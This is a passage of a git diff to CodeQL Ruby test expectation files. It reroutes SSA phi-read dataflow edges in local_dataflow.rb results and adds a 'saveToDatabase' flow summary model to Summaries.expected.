+| local_dataflow.rb:98:20:98:28 | self | local_dataflow.rb:99:3:99:9 | self |
 | local_dataflow.rb:99:3:99:9 | [post] self | local_dataflow.rb:100:8:100:16 | self |
 | local_dataflow.rb:99:3:99:9 | self | local_dataflow.rb:100:8:100:16 | self |
 | local_dataflow.rb:100:3:100:3 | b | local_dataflow.rb:101:8:101:8 | b |
 | local_dataflow.rb:100:7:100:31 | ( ... ) | local_dataflow.rb:100:3:100:3 | b |
 | local_dataflow.rb:100:7:100:31 | ( ... ) | local_dataflow.rb:100:3:100:31 | ... = ... |
-| local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) | local_dataflow.rb:100:8:100:30 | SSA phi read(self) |
+| local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) | local_dataflow.rb:101:3:101:9 | self |
 | local_dataflow.rb:100:8:100:16 | [post] self | local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) |
 | local_dataflow.rb:100:8:100:16 | [post] self | local_dataflow.rb:100:22:100:30 | self |
 | local_dataflow.rb:100:8:100:16 | self | local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) |
 | local_dataflow.rb:100:8:100:16 | self | local_dataflow.rb:100:22:100:30 | self |
 | local_dataflow.rb:100:8:100:30 | ... and ... | local_dataflow.rb:100:7:100:31 | ( ... ) |
-| local_dataflow.rb:100:8:100:30 | SSA phi read(self) | local_dataflow.rb:101:3:101:9 | self |
-| local_dataflow.rb:100:22:100:30 | [input] SSA phi read(self) | local_dataflow.rb:100:8:100:30 | SSA phi read(self) |
-| local_dataflow.rb:100:22:100:30 | [post] self | local_dataflow.rb:100:22:100:30 | [input] SSA phi read(self) |
+| local_dataflow.rb:100:22:100:30 | [post] self | local_dataflow.rb:101:3:101:9 | self |
 | local_dataflow.rb:100:22:100:30 | call to source | local_dataflow.rb:100:8:100:30 | ... and ... |
-| local_dataflow.rb:100:22:100:30 | self | local_dataflow.rb:100:22:100:30 | [input] SSA phi read(self) |
+| local_dataflow.rb:100:22:100:30 | self | local_dataflow.rb:101:3:101:9 | self |
 | local_dataflow.rb:101:3:101:9 | [post] self | local_dataflow.rb:103:7:103:15 | self |
 | local_dataflow.rb:101:3:101:9 | self | local_dataflow.rb:103:7:103:15 | self |
 | local_dataflow.rb:103:3:103:3 | a | local_dataflow.rb:104:3:104:3 | a |
@@ -3867,16 +3248,14 @@
 | local_dataflow.rb:103:7:103:15 | call to source | local_dataflow.rb:103:3:103:15 | ... = ... |
 | local_dataflow.rb:103:7:103:15 | self | local_dataflow.rb:104:3:104:3 | [input] SSA phi read(self) |
 | local_dataflow.rb:103:7:103:15 | self | local_dataflow.rb:104:9:104:17 | self |
-| local_dataflow.rb:104:3:104:3 | [input] SSA phi read(self) | local_dataflow.rb:104:5:104:7 | SSA phi read(self) |
+| local_dataflow.rb:104:3:104:3 | [input] SSA phi read(self) | local_dataflow.rb:105:3:105:9 | self |
 | local_dataflow.rb:104:3:104:3 | a | local_dataflow.rb:104:5:104:7 | ... \|\| ... |
 | local_dataflow.rb:104:3:104:3 | a | local_dataflow.rb:105:8:105:8 | a |
 | local_dataflow.rb:104:5:104:7 | ... \|\| ... | local_dataflow.rb:104:3:104:3 | a |
 | local_dataflow.rb:104:5:104:7 | ... \|\| ... | local_dataflow.rb:104:3:104:17 | ... = ... |
-| local_dataflow.rb:104:5:104:7 | SSA phi read(self) | local_dataflow.rb:105:3:105:9 | self |
-| local_dataflow.rb:104:9:104:17 | [input] SSA phi read(self) | local_dataflow.rb:104:5:104:7 | SSA phi read(self) |
-| local_dataflow.rb:104:9:104:17 | [post] self | local_dataflow.rb:104:9:104:17 | [input] SSA phi read(self) |
+| local_dataflow.rb:104:9:104:17 | [post] self | local_dataflow.rb:105:3:105:9 | self |
 | local_dataflow.rb:104:9:104:17 | call to source | local_dataflow.rb:104:5:104:7 | ... \|\| ... |
-| local_dataflow.rb:104:9:104:17 | self | local_dataflow.rb:104:9:104:17 | [input] SSA phi read(self) |
+| local_dataflow.rb:104:9:104:17 | self | local_dataflow.rb:105:3:105:9 | self |
 | local_dataflow.rb:105:3:105:9 | [post] self | local_dataflow.rb:106:7:106:15 | self |
 | local_dataflow.rb:105:3:105:9 | self | local_dataflow.rb:106:7:106:15 | self |
 | local_dataflow.rb:106:3:106:3 | b | local_dataflow.rb:107:3:107:3 | b |
@@ -3886,15 +3265,13 @@
 | local_dataflow.rb:106:7:106:15 | call to source | local_dataflow.rb:106:3:106:15 | ... = ... |
 | local_dataflow.rb:106:7:106:15 | self | local_dataflow.rb:107:3:107:3 | [input] SSA phi read(self) |
 | local_dataflow.rb:106:7:106:15 | self | local_dataflow.rb:107:9:107:17 | self |
-| local_dataflow.rb:107:3:107:3 | [input] SSA phi read(self) | local_dataflow.rb:107:5:107:7 | SSA phi read(self) |
+| local_dataflow.rb:107:3:107:3 | [input] SSA phi read(self) | local_dataflow.rb:108:3:108:9 | self |
 | local_dataflow.rb:107:3:107:3 | b | local_dataflow.rb:108:8:108:8 | b |
 | local_dataflow.rb:107:5:107:7 | ... && ... | local_dataflow.rb:107:3:107:3 | b |
 | local_dataflow.rb:107:5:107:7 | ... && ... | local_dataflow.rb:107:3:107:17 | ... = ... |
-| local_dataflow.rb:107:5:107:7 | SSA phi read(self) | local_dataflow.rb:108:3:108:9 | self |
-| local_dataflow.rb:107:9:107:17 | [input] SSA phi read(self) | local_dataflow.rb:107:5:107:7 | SSA phi read(self) |
-| local_dataflow.rb:107:9:107:17 | [post] self | local_dataflow.rb:107:9:107:17 | [input] SSA phi read(self) |
+| local_dataflow.rb:107:9:107:17 | [post] self | local_dataflow.rb:108:3:108:9 | self |
 | local_dataflow.rb:107:9:107:17 | call to source | local_dataflow.rb:107:5:107:7 | ... && ... |
-| local_dataflow.rb:107:9:107:17 | self | local_dataflow.rb:107:9:107:17 | [input] SSA phi read(self) |
+| local_dataflow.rb:107:9:107:17 | self | local_dataflow.rb:108:3:108:9 | self |
 | local_dataflow.rb:111:1:114:3 | self (object_dup) | local_dataflow.rb:112:3:112:21 | self |
 | local_dataflow.rb:111:1:114:3 | self in object_dup | local_dataflow.rb:111:1:114:3 | self (object_dup) |
 | local_dataflow.rb:112:3:112:21 | [post] self | local_dataflow.rb:112:8:112:16 | self |
@@ -3946,24 +3323,20 @@
 | local_dataflow.rb:132:10:132:10 | [post] x | local_dataflow.rb:133:12:133:12 | x |
 | local_dataflow.rb:132:10:132:10 | x | local_dataflow.rb:133:12:133:12 | x |
 | local_dataflow.rb:132:12:148:10 | then ... | local_dataflow.rb:132:3:149:5 | if ... |
-| local_dataflow.rb:133:5:139:7 | SSA phi read(self) | local_dataflow.rb:141:9:141:14 | self |
-| local_dataflow.rb:133:5:139:7 | SSA phi read(x) | local_dataflow.rb:141:13:141:13 | x |
-| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) | local_dataflow.rb:133:8:133:23 | SSA phi read(self) |
-| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) | local_dataflow.rb:133:8:133:23 | SSA phi read(x) |
+| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) | local_dataflow.rb:134:7:134:12 | self |
+| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) | local_dataflow.rb:134:11:134:11 | x |
 | local_dataflow.rb:133:8:133:13 | [post] self | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) |
 | local_dataflow.rb:133:8:133:13 | [post] self | local_dataflow.rb:133:18:133:23 | self |
 | local_dataflow.rb:133:8:133:13 | call to use | local_dataflow.rb:133:8:133:23 | [false] ... \|\| ... |
 | local_dataflow.rb:133:8:133:13 | call to use | local_dataflow.rb:133:8:133:23 | [true] ... \|\| ... |
 | local_dataflow.rb:133:8:133:13 | self | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) |
 | local_dataflow.rb:133:8:133:13 | self | local_dataflow.rb:133:18:133:23 | self |
-| local_dataflow.rb:133:8:133:23 | SSA phi read(self) | local_dataflow.rb:134:7:134:12 | self |
-| local_dataflow.rb:133:8:133:23 | SSA phi read(x) | local_dataflow.rb:134:11:134:11 | x |
 | local_dataflow.rb:133:12:133:12 | [post] x | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) |
 | local_dataflow.rb:133:12:133:12 | [post] x | local_dataflow.rb:133:22:133:22 | x |
 | local_dataflow.rb:133:12:133:12 | x | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) |
 | local_dataflow.rb:133:12:133:12 | x | local_dataflow.rb:133:22:133:22 | x |
-| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(self) | local_dataflow.rb:133:8:133:23 | SSA phi read(self) |
-| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(x) | local_dataflow.rb:133:8:133:23 | SSA phi read(x) |
+| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(self) | local_dataflow.rb:134:7:134:12 | self |
+| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(x) | local_dataflow.rb:134:11:134:11 | x |
 | local_dataflow.rb:133:18:133:23 | [post] self | local_dataflow.rb:133:18:133:23 | [input] SSA phi read(self) |
 | local_dataflow.rb:133:18:133:23 | [post] self | local_dataflow.rb:136:7:136:12 | self |
 | local_dataflow.rb:133:18:133:23 | call to use | local_dataflow.rb:133:8:133:23 | [false] ... \|\| ... |
@@ -3974,43 +3347,35 @@
 | local_dataflow.rb:133:22:133:22 | [post] x | local_dataflow.rb:136:11:136:11 | x |
 | local_dataflow.rb:133:22:133:22 | x | local_dataflow.rb:133:18:133:23 | [input] SSA phi read(x) |
 | local_dataflow.rb:133:22:133:22 | x | local_dataflow.rb:136:11:136:11 | x |
-| local_dataflow.rb:133:24:134:12 | [input] SSA phi read(self) | local_dataflow.rb:133:5:139:7 | SSA phi read(self) |
-| local_dataflow.rb:133:24:134:12 | [input] SSA phi read(x) | local_dataflow.rb:133:5:139:7 | SSA phi read(x) |
 | local_dataflow.rb:133:24:134:12 | then ... | local_dataflow.rb:133:5:139:7 | if ... |
-| local_dataflow.rb:134:7:134:12 | [post] self | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(self) |
+| local_dataflow.rb:134:7:134:12 | [post] self | local_dataflow.rb:141:9:141:14 | self |
 | local_dataflow.rb:134:7:134:12 | call to use | local_dataflow.rb:133:24:134:12 | then ... |
-| local_dataflow.rb:134:7:134:12 | self | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(self) |
-| local_dataflow.rb:134:11:134:11 | [post] x | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(x) |
-| local_dataflow.rb:134:11:134:11 | x | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(x) |
-| local_dataflow.rb:135:5:138:9 | [input] SSA phi read(self) | local_dataflow.rb:133:5:139:7 | SSA phi read(self) |
-| local_dataflow.rb:135:5:138:9 | [input] SSA phi read(x) | local_dataflow.rb:133:5:139:7 | SSA phi read(x) |
+| local_dataflow.rb:134:7:134:12 | self | local_dataflow.rb:141:9:141:14 | self |
+| local_dataflow.rb:134:11:134:11 | [post] x | local_dataflow.rb:141:13:141:13 | x |
+| local_dataflow.rb:134:11:134:11 | x | local_dataflow.rb:141:13:141:13 | x |
 | local_dataflow.rb:135:5:138:9 | else ... | local_dataflow.rb:133:5:139:7 | if ... |
 | local_dataflow.rb:136:7:136:12 | [post] self | local_dataflow.rb:137:10:137:15 | self |
 | local_dataflow.rb:136:7:136:12 | self | local_dataflow.rb:137:10:137:15 | self |
 | local_dataflow.rb:136:11:136:11 | [post] x | local_dataflow.rb:137:14:137:14 | x |
 | local_dataflow.rb:136:11:136:11 | x | local_dataflow.rb:137:14:137:14 | x |
-| local_dataflow.rb:137:7:138:9 | SSA phi read(self) | local_dataflow.rb:135:5:138:9 | [input] SSA phi read(self) |
-| local_dataflow.rb:137:7:138:9 | SSA phi read(x) | local_dataflow.rb:135:5:138:9 | [input] SSA phi read(x) |
 | local_dataflow.rb:137:7:138:9 | if ... | local_dataflow.rb:135:5:138:9 | else ... |
-| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | SSA phi read(self) |
-| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | SSA phi read(x) |
+| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) |
+| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) |
 | local_dataflow.rb:137:10:137:15 | [post] self | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) |
 | local_dataflow.rb:137:10:137:15 | [post] self | local_dataflow.rb:137:21:137:26 | self |
 | local_dataflow.rb:137:10:137:15 | self | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) |
 | local_dataflow.rb:137:10:137:15 | self | local_dataflow.rb:137:21:137:26 | self |
-| local_dataflow.rb:137:10:137:26 | SSA phi read(self) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) |
-| local_dataflow.rb:137:10:137:26 | SSA phi read(x) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) |
-| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:7:138:9 | SSA phi read(self) |
-| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:7:138:9 | SSA phi read(self) |
-| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:7:138:9 | SSA phi read(x) |
-| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:7:138:9 | SSA phi read(x) |
+| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:141:9:141:14 | self |
+| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:141:9:141:14 | self |
+| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:141:13:141:13 | x |
+| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:141:13:141:13 | x |
 | local_dataflow.rb:137:14:137:14 | [post] x | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) |
 | local_dataflow.rb:137:14:137:14 | [post] x | local_dataflow.rb:137:25:137:25 | x |
 | local_dataflow.rb:137:14:137:14 | x | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) |
 | local_dataflow.rb:137:14:137:14 | x | local_dataflow.rb:137:25:137:25 | x |
 | local_dataflow.rb:137:20:137:26 | [false] ! ... | local_dataflow.rb:137:10:137:26 | [false] ... && ... |
-| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | SSA phi read(self) |
-| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | SSA phi read(x) |
+| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) |
+| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) |
 | local_dataflow.rb:137:20:137:26 | [true] ! ... | local_dataflow.rb:137:10:137:26 | [true] ... && ... |
 | local_dataflow.rb:137:21:137:26 | [post] self | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) |
 | local_dataflow.rb:137:21:137:26 | [post] self | local_dataflow.rb:137:20:137:26 | [input] SSA phi read(self) |
@@ -4022,15 +3387,11 @@
 | local_dataflow.rb:137:25:137:25 | [post] x | local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) |
 | local_dataflow.rb:137:25:137:25 | x | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) |
 | local_dataflow.rb:137:25:137:25 | x | local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) |
-| local_dataflow.rb:141:5:145:7 | SSA phi read(self) | local_dataflow.rb:147:5:147:10 | self |
-| local_dataflow.rb:141:5:145:7 | SSA phi read(x) | local_dataflow.rb:147:9:147:9 | x |
 | local_dataflow.rb:141:8:141:14 | [false] ! ... | local_dataflow.rb:141:8:141:37 | [false] ... \|\| ... |
 | local_dataflow.rb:141:8:141:14 | [false] ! ... | local_dataflow.rb:141:8:141:37 | [true] ... \|\| ... |
-| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(self) | local_dataflow.rb:141:8:141:37 | SSA phi read(self) |
-| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(x) | local_dataflow.rb:141:8:141:37 | SSA phi read(x) |
+| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(self) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) |
+| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(x) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) |
 | local_dataflow.rb:141:8:141:14 | [true] ! ... | local_dataflow.rb:141:8:141:37 | [true] ... \|\| ... |
-| local_dataflow.rb:141:8:141:37 | SSA phi read(self) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) |
-| local_dataflow.rb:141:8:141:37 | SSA phi read(x) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) |
 | local_dataflow.rb:141:9:141:14 | [post] self | local_dataflow.rb:141:8:141:14 | [input] SSA phi read(self) |
 | local_dataflow.rb:141:9:141:14 | [post] self | local_dataflow.rb:141:20:141:25 | self |
 | local_dataflow.rb:141:9:141:14 | call to use | local_dataflow.rb:141:8:141:14 | [false] ! ... |
@@ -4042,17 +3403,15 @@
 | local_dataflow.rb:141:13:141:13 | x | local_dataflow.rb:141:8:141:14 | [input] SSA phi read(x) |
 | local_dataflow.rb:141:13:141:13 | x | local_dataflow.rb:141:24:141:24 | x |
 | local_dataflow.rb:141:19:141:37 | [false] ( ... ) | local_dataflow.rb:141:8:141:37 | [false] ... \|\| ... |
-| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(self) | local_dataflow.rb:141:8:141:37 | SSA phi read(self) |
-| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(x) | local_dataflow.rb:141:8:141:37 | SSA phi read(x) |
+| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(self) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) |
+| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(x) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) |
 | local_dataflow.rb:141:19:141:37 | [true] ( ... ) | local_dataflow.rb:141:8:141:37 | [true] ... \|\| ... |
-| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) | local_dataflow.rb:141:20:141:36 | SSA phi read(self) |
-| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) | local_dataflow.rb:141:20:141:36 | SSA phi read(x) |
+| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:16 | self |
+| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) | local_dataflow.rb:143:15:143:15 | x |
 | local_dataflow.rb:141:20:141:25 | [post] self | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) |
 | local_dataflow.rb:141:20:141:25 | [post] self | local_dataflow.rb:141:31:141:36 | self |
 | local_dataflow.rb:141:20:141:25 | self | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) |
 | local_dataflow.rb:141:20:141:25 | self | local_dataflow.rb:141:31:141:36 | self |
-| local_dataflow.rb:141:20:141:36 | SSA phi read(self) | local_dataflow.rb:143:11:143:16 | self |
-| local_dataflow.rb:141:20:141:36 | SSA phi read(x) | local_dataflow.rb:143:15:143:15 | x |
 | local_dataflow.rb:141:20:141:36 | [false] ... && ... | local_dataflow.rb:141:19:141:37 | [false] ( ... ) |
 | local_dataflow.rb:141:20:141:36 | [true] ... && ... | local_dataflow.rb:141:19:141:37 | [true] ( ... ) |
 | local_dataflow.rb:141:24:141:24 | [post] x | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) |
@@ -4060,8 +3419,8 @@
 | local_dataflow.rb:141:24:141:24 | x | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) |
 | local_dataflow.rb:141:24:141:24 | x | local_dataflow.rb:141:35:141:35 | x |
 | local_dataflow.rb:141:30:141:36 | [false] ! ... | local_dataflow.rb:141:20:141:36 | [false] ... && ... |
-| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(self) | local_dataflow.rb:141:20:141:36 | SSA phi read(self) |
-| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) | local_dataflow.rb:141:20:141:36 | SSA phi read(x) |
+| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:16 | self |
+| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) | local_dataflow.rb:143:15:143:15 | x |
 | local_dataflow.rb:141:30:141:36 | [true] ! ... | local_dataflow.rb:141:20:141:36 | [true] ... && ... |
 | local_dataflow.rb:141:31:141:36 | [post] self | local_dataflow.rb:141:19:141:37 | [input] SSA phi read(self) |
 | local_dataflow.rb:141:31:141:36 | [post] self | local_dataflow.rb:141:30:141:36 | [input] SSA phi read(self) |
@@ -4073,33 +3432,27 @@
 | local_dataflow.rb:141:35:141:35 | [post] x | local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) |
 | local_dataflow.rb:141:35:141:35 | x | local_dataflow.rb:141:19:141:37 | [input] SSA phi read(x) |
 | local_dataflow.rb:141:35:141:35 | x | local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) |
-| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | local_dataflow.rb:141:5:145:7 | SSA phi read(self) |
-| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | local_dataflow.rb:141:5:145:7 | SSA phi read(x) |
+| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | local_dataflow.rb:147:5:147:10 | self |
+| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | local_dataflow.rb:147:9:147:9 | x |
 | local_dataflow.rb:141:38:142:9 | then ... | local_dataflow.rb:141:5:145:7 | if ... |
 | local_dataflow.rb:142:7:142:9 | nil | local_dataflow.rb:141:38:142:9 | then ... |
-| local_dataflow.rb:143:5:144:16 | SSA phi read(self) | local_dataflow.rb:143:5:144:16 | [input] SSA phi read(self) |
-| local_dataflow.rb:143:5:144:16 | SSA phi read(x) | local_dataflow.rb:143:5:144:16 | [input] SSA phi read(x) |
-| local_dataflow.rb:143:5:144:16 | [input] SSA phi read(self) | local_dataflow.rb:141:5:145:7 | SSA phi read(self) |
-| local_dataflow.rb:143:5:144:16 | [input] SSA phi read(x) | local_dataflow.rb:141:5:145:7 | SSA phi read(x) |
 | local_dataflow.rb:143:5:144:16 | elsif ... | local_dataflow.rb:141:5:145:7 | if ... |
-| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:26 | SSA phi read(self) |
-| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) | local_dataflow.rb:143:11:143:26 | SSA phi read(x) |
+| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) | local_dataflow.rb:144:11:144:16 | self |
+| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) | local_dataflow.rb:144:15:144:15 | x |
 | local_dataflow.rb:143:11:143:16 | [post] self | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) |
 | local_dataflow.rb:143:11:143:16 | [post] self | local_dataflow.rb:143:21:143:26 | self |
 | local_dataflow.rb:143:11:143:16 | call to use | local_dataflow.rb:143:11:143:26 | [false] ... \|\| ... |
 | local_dataflow.rb:143:11:143:16 | call to use | local_dataflow.rb:143:11:143:26 | [true] ... \|\| ... |
 | local_dataflow.rb:143:11:143:16 | self | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) |
 | local_dataflow.rb:143:11:143:16 | self | local_dataflow.rb:143:21:143:26 | self |
-| local_dataflow.rb:143:11:143:26 | SSA phi read(self) | local_dataflow.rb:144:11:144:16 | self |
-| local_dataflow.rb:143:11:143:26 | SSA phi read(x) | local_dataflow.rb:144:15:144:15 | x |
-| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(self) | local_dataflow.rb:143:5:144:16 | SSA phi read(self) |
-| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(x) | local_dataflow.rb:143:5:144:16 | SSA phi read(x) |
+| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(self) | local_dataflow.rb:147:5:147:10 | self |
+| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(x) | local_dataflow.rb:147:9:147:9 | x |
 | local_dataflow.rb:143:15:143:15 | [post] x | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) |
 | local_dataflow.rb:143:15:143:15 | [post] x | local_dataflow.rb:143:25:143:25 | x |
 | local_dataflow.rb:143:15:143:15 | x | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) |
 | local_dataflow.rb:143:15:143:15 | x | local_dataflow.rb:143:25:143:25 | x |
-| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:26 | SSA phi read(self) |
-| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) | local_dataflow.rb:143:11:143:26 | SSA phi read(x) |
+| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(self) | local_dataflow.rb:144:11:144:16 | self |
+| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) | local_dataflow.rb:144:15:144:15 | x |
 | local_dataflow.rb:143:21:143:26 | [post] self | local_dataflow.rb:143:11:143:26 | [input] SSA phi read(self) |
 | local_dataflow.rb:143:21:143:26 | [post] self | local_dataflow.rb:143:21:143:26 | [input] SSA phi read(self) |
 | local_dataflow.rb:143:21:143:26 | call to use | local_dataflow.rb:143:11:143:26 | [false] ... \|\| ... |
@@ -4110,14 +3463,12 @@
 | local_dataflow.rb:143:25:143:25 | [post] x | local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) |
 | local_dataflow.rb:143:25:143:25 | x | local_dataflow.rb:143:11:143:26 | [input] SSA phi read(x) |
 | local_dataflow.rb:143:25:143:25 | x | local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) |
-| local_dataflow.rb:143:27:144:16 | [input] SSA phi read(self) | local_dataflow.rb:143:5:144:16 | SSA phi read(self) |
-| local_dataflow.rb:143:27:144:16 | [input] SSA phi read(x) | local_dataflow.rb:143:5:144:16 | SSA phi read(x) |
 | local_dataflow.rb:143:27:144:16 | then ... | local_dataflow.rb:143:5:144:16 | elsif ... |
-| local_dataflow.rb:144:11:144:16 | [post] self | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(self) |
+| local_dataflow.rb:144:11:144:16 | [post] self | local_dataflow.rb:147:5:147:10 | self |
 | local_dataflow.rb:144:11:144:16 | call to use | local_dataflow.rb:143:27:144:16 | then ... |
-| local_dataflow.rb:144:11:144:16 | self | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(self) |
-| local_dataflow.rb:144:15:144:15 | [post] x | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(x) |
-| local_dataflow.rb:144:15:144:15 | x | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(x) |
+| local_dataflow.rb:144:11:144:16 | self | local_dataflow.rb:147:5:147:10 | self |
+| local_dataflow.rb:144:15:144:15 | [post] x | local_dataflow.rb:147:9:147:9 | x |
+| local_dataflow.rb:144:15:144:15 | x | local_dataflow.rb:147:9:147:9 | x |
 | local_dataflow.rb:147:5:147:10 | [post] self | local_dataflow.rb:148:5:148:10 | self |
 | local_dataflow.rb:147:5:147:10 | self | local_dataflow.rb:148:5:148:10 | self |
 | local_dataflow.rb:147:9:147:9 | [post] x | local_dataflow.rb:148:9:148:9 | x |
diff --git a/ruby/ql/test/library-tests/dataflow/summaries/Summaries.expected b/ruby/ql/test/library-tests/dataflow/summaries/Summaries.expected
index 85286410c47b..cdb06e5ca658 100644
--- a/ruby/ql/test/library-tests/dataflow/summaries/Summaries.expected
+++ b/ruby/ql/test/library-tests/dataflow/summaries/Summaries.expected
@@ -25,12 +25,13 @@ models
 | 24 | Summary: any; Method[matchedByName]; Argument[0]; ReturnValue; taint |
 | 25 | Summary: any; Method[readElementOne]; Argument[self].Element[1]; ReturnValue; value |
 | 26 | Summary: any; Method[readExactlyElementOne]; Argument[self].Element[1!]; ReturnValue; value |
-| 27 | Summary: any; Method[set_value]; Argument[0]; Argument[self].Field[@value]; value |
-| 28 | Summary: any; Method[withElementOne]; Argument[self].WithElement[1]; ReturnValue; value |
-| 29 | Summary: any; Method[withExactlyElementOne]; Argument[self].WithElement[1!]; ReturnValue; value |
-| 30 | Summary: any; Method[withoutElementOneAndTwo]; Argument[self].WithoutElement[1].WithoutElement[2].WithElement[any]; Argument[self]; value |
-| 31 | Summary: any; Method[withoutElementOne]; Argument[self].WithoutElement[1]; Argument[self]; value |
-| 32 | Summary: any; Method[withoutExactlyElementOne]; Argument[self].WithoutElement[1!]; Argument[self]; value |
+| 27 | Summary: any; Method[saveToDatabase]; Argument[self]; SyntheticGlobal[db]; value |
+| 28 | Summary: any; Method[set_value]; Argument[0]; Argument[self].Field[@value]; value |
+| 29 | Summary: any; Method[withElementOne]; Argument[self].WithElement[1]; ReturnValue; value |
+| 30 | Summary: any; Method[withExactlyElementOne]; Argument[self].WithElement[1!]; ReturnValue; value |
+| 31 | Summary: any; Method[withoutElementOneAndTwo]; Argument[self].WithoutElement[1].WithoutElement[2].WithElement[any]; Argument[self]; value |
+| 32 | Summary: any; Method[withoutElementOne]; Argument[self].WithoutElement[1]; Argument[self]; value |
